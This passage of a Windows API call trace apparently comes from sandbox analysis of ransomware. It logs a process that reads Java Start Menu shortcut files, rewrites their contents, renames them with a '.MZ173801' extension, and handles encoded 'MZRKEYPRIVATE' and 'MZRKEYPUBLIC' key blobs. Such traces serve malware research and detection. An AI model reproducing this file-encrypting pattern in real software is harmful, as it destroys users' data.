Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0214.784] GetCurrentThreadId () returned 0xab4 [0214.785] GetCurrentThreadId () returned 0xab4 [0214.785] GetCurrentThreadId () returned 0xab4 [0214.785] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.785] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0214.785] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.785] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xb4 [0214.785] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.785] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0xb4, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0xb4, lpOverlapped=0x0) returned 1 [0214.786] CloseHandle (hObject=0x330) returned 1 [0214.786] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.787] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0xb4, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0xb4, lpOverlapped=0x0) returned 1 [0214.789] CloseHandle (hObject=0x330) returned 1 [0214.789] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.url"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.url.mz173801")) returned 1 [0214.790] GetCurrentThreadId () returned 0xab4 [0214.790] GetCurrentThreadId () returned 0xab4 [0214.790] GetCurrentThreadId () returned 0xab4 [0214.790] GetCurrentThreadId () returned 0xab4 [0214.790] GetCurrentThreadId () returned 0xab4 [0214.790] GetCurrentThreadId () returned 0xab4 [0214.790] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac13703c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac13703c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac15d256, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Visit Java.com.url", cAlternateFileName="VISITJ~1.URL")) returned 1 [0214.790] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.790] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.790] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.url"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac13703c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac13703c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac15d256, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0214.790] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.url")) returned 0x20 [0214.790] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.url", dwFileAttributes=0x80) returned 1 [0214.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0214.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0214.794] GetCurrentThreadId () returned 0xab4 [0214.794] GetCurrentThreadId () returned 0xab4 [0214.794] GetCurrentThreadId () returned 0xab4 [0214.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0214.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0214.795] GetCurrentThreadId () returned 0xab4 [0214.795] GetCurrentThreadId () returned 0xab4 [0214.795] GetCurrentThreadId () returned 0xab4 [0214.795] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.795] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0214.795] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.795] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xb0 [0214.795] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.795] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0xb0, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0xb0, lpOverlapped=0x0) returned 1 [0214.797] CloseHandle (hObject=0x330) returned 1 [0214.797] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.798] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0xb0, lpOverlapped=0x0) returned 1 [0214.799] CloseHandle (hObject=0x330) returned 1 [0214.800] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.url"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.url.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.url.mz173801")) returned 1 [0214.800] GetCurrentThreadId () returned 0xab4 [0214.800] GetCurrentThreadId () returned 0xab4 [0214.800] GetCurrentThreadId () returned 0xab4 [0214.800] GetCurrentThreadId () returned 0xab4 [0214.800] GetCurrentThreadId () returned 0xab4 [0214.800] GetCurrentThreadId () returned 0xab4 [0214.801] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac13703c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac13703c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac15d256, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Visit Java.com.url", cAlternateFileName="VISITJ~1.URL")) returned 0 [0214.801] GetLastError () returned 0x12 [0214.801] FindClose (in: hFindFile=0xa1b6c8 | out: hFindFile=0xa1b6c8) returned 1 [0214.801] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabaf4d3e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa2cbd38, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xaa2cbd38, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b5b0 [0214.801] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0214.801] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.801] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabaf4d3e, 